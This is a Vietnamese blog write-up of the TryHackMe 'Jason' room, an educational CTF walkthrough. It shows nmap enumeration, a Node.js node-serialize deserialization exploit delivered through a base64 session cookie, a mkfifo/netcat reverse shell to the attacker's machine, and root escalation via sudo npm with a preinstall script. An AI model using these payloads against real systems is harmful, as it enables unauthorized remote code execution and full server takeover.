Advertisement

Responsive Advertisement

Jason - Tryhackme write up

 

We are Horror LLC, we specialize in horror, but one of the scarier aspects of our company is our front-end webserver. We can't launch our site in its current state and our level of concern regarding our cybersecurity is growing exponentially. We ask that you perform a thorough penetration test and try to compromise the root account. There are no rules for this engagement. Good luck!

Thanks to @Luma for testing the room.

Bước 1: Khai thác thu thập thông tin

Mình chạy nmap đển thu thập thông tin xem cổng dịch vụ đang chạy

1
nmap -sV -sC 'machine-ip'



Thu được thông tin dịch vụ web, ssh. Mình sẽ xem và khai thác xem có gì từng dịch vụ.

Bước 2: Khai thác dịch vụ web

Mình truy cập website thấy một trang viết bằng Nodejs với một phần điền thông tin mail


Mình nhập một cái gì đó bất kỳ và bấm submit thì nó hiển thị luôn sau câu We'll keep you updated at: .....

Mình kiểm tra mã nguồn xem có gì không:


Phát hiện dòng nó sử dụng document.cookie, vấn đề ở đây nó sử dụng cookie trên website này, bạn để ý ở đây nó dùng trường nhận cookie là session

Mình kiểm tra website này bằng f12 > storage > cookie hoặc sử dụng công cụ cookie editor, ở đây mình dùng cookie editor trên firefox mình kiểm tra thì thấy giá trị cookie nằm trong parameter session.


 Tất nhiên value ở trên là ví dụ của mình, khi giải mã  đoạn mã định dạng base64 này thì mình giải mã thu được dạng như sau:

1
{"email":"'"}


Mình thấy là có thể giải mã đây là lỗi liên quan đến Node.js deserialization: Exploiting Node.js deserialization bug for Remote Code Execution | OpSecX

Mình tìm đoạn mã sinh ra mã khai thác lỗ hổng

1
2
3
4
5
6
7
var y = {
 rce : function(){
 require('child_process').exec('ls /'function(error, stdout, stderr) { console.log(stdout) });
 },
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));


Mình sửa phần exec chỗ 'ls /' đây là lệnh để thu thập thông tin danh sách các thư mục gốc.  mình thử nghiệm bằng cách thay phần đó bằng một đoạn shell reverse

Mình lưu lại tệp tin payload.js

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip_vpn_kali port >/tmp/f

Sau khi chạy tệp tin js mình thu được

1
{"rce":"_$$ND_FUNC$$_function (){ 'nodejsshell_code' }()"}


Nói chung đoạn mã này ở cuối không có dấu () , bạn phải tự thêm nhé để đóng lệnh, mình thực hiện lấy từ _$$ND_... đưa trên trang nội dung mà bạn giải mã cookie vừa rồi mã hóa toàn bộ chuỗi sang base64

1
{"email":"_$$ND_..."}


Mình lấy mã đó thay vào phần giá trị trong editor cookie và đồng thời ở máy kali mình bật cổng lắng nghe kết nối và thành công


Mình về thư mục home của user dylan và đọc cờ user.txt

Bước 3: Leo thang đặc quyền

Mình sử dụng lệnh sudo -l


Mình thấy nó có thể sử dụng npm full quyền không cần mật khẩu vậy chờ gì mà không leo thang thôi

1
2
3
TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
sudo -u root /usr/bin/npm -C $TF --unsafe-perm i


Thành công leo thang và đọc cờ cuối nào !


Post a Comment

0 Comments